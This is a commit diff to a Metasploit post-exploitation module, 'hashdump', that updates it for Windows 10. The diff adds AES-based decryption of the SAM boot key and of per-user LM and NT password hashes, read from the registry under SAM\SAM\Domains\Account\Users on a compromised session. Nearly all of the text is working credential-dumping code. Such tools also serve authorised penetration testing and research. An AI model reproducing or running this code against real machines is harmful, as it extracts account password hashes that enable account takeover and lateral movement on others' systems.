Make hashdump module work on Windows 10, fix #7936
parent
9ce0bb9345
commit
a01796d114
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@ -139,6 +139,9 @@ class MetasploitModule < Msf::Post
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vf = vf.data
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ok.close
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revision = vf[0x68, 4].unpack('V')[0]
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if revision == 1
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hash = Digest::MD5.new
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hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
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@ -149,6 +152,18 @@ class MetasploitModule < Msf::Post
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return hbootkey
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end
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if revision == 2
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aes = OpenSSL::Cipher.new('aes-128-cbc')
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aes.key = bootkey
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aes.padding = 0
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aes.decrypt
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aes.iv = vf[0x78, 16]
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return aes.update(vf[0x88, 16]) # we need only 16 bytes
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end
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raise NotImplementedError, "Unknown hboot_key revision: #{revision}"
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end
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def capture_user_keys
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users = {}
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ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ)
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@ -200,21 +215,16 @@ class MetasploitModule < Msf::Post
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users.each_key do |rid|
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user = users[rid]
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hashlm_enc = ""
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hashnt_enc = ""
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hashlm_off = user[:V][0x9c, 4].unpack("V")[0] + 0xcc
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hashlm_len = user[:V][0xa0, 4].unpack("V")[0]
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hashlm_enc = user[:V][hashlm_off, hashlm_len]
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hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc
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hashnt_off = user[:V][0xa8, 4].unpack("V")[0] + 0xcc
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hashnt_len = user[:V][0xac, 4].unpack("V")[0]
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hashnt_enc = user[:V][hashnt_off, hashnt_len]
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#Check if hashes exist (if 20, then we've got a hash)
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lm_exists = user[:V][0x9c+4,4].unpack("V")[0] == 20 ? true : false
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nt_exists = user[:V][0x9c+16,4].unpack("V")[0] == 20 ? true : false
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#If we have a hashes, then parse them (Note: NT is dependant on LM)
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hashlm_enc = user[:V][hoff + 4, 16] if lm_exists
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hashnt_enc = user[:V][(hoff + (lm_exists ? 24 : 8)), 16] if nt_exists
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user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass)
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user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass)
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user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass, @sam_empty_lm)
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user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass, @sam_empty_nt)
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end
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users
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@ -241,16 +251,37 @@ class MetasploitModule < Msf::Post
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[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
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end
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def decrypt_user_hash(rid, hbootkey, enchash, pass)
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def decrypt_user_hash(rid, hbootkey, enchash, pass, default)
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revision = enchash[2, 2].unpack('v')[0]
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if(enchash.empty?)
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case pass
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when @sam_lmpass
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return @sam_empty_lm
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when @sam_ntpass
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return @sam_empty_nt
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if revision == 1
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if enchash.length < 20
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return default
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end
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return ""
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md5 = Digest::MD5.new
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md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
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rc4 = OpenSSL::Cipher.new('rc4')
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rc4.key = md5.digest
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okey = rc4.update(enchash[4, 16])
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elsif revision == 2
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if enchash.length < 40
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return default
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end
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aes = OpenSSL::Cipher.new('aes-128-cbc')
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aes.key = hbootkey[0, 16]
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aes.padding = 0
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aes.decrypt
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aes.iv = enchash[8, 16]
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okey = aes.update(enchash[24, 16]) # we need only 16 bytes
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else
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print_error("Unknown user hash revision: #{revision}")
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return default
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end
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des_k1, des_k2 = rid_to_key(rid)
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@ -263,13 +294,6 @@ class MetasploitModule < Msf::Post
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d2.padding = 0
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d2.key = des_k2
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md5 = Digest::MD5.new
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md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
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rc4 = OpenSSL::Cipher.new('rc4')
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rc4.key = md5.digest
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okey = rc4.update(enchash)
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d1o = d1.decrypt.update(okey[0,8])
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d1o << d1.final
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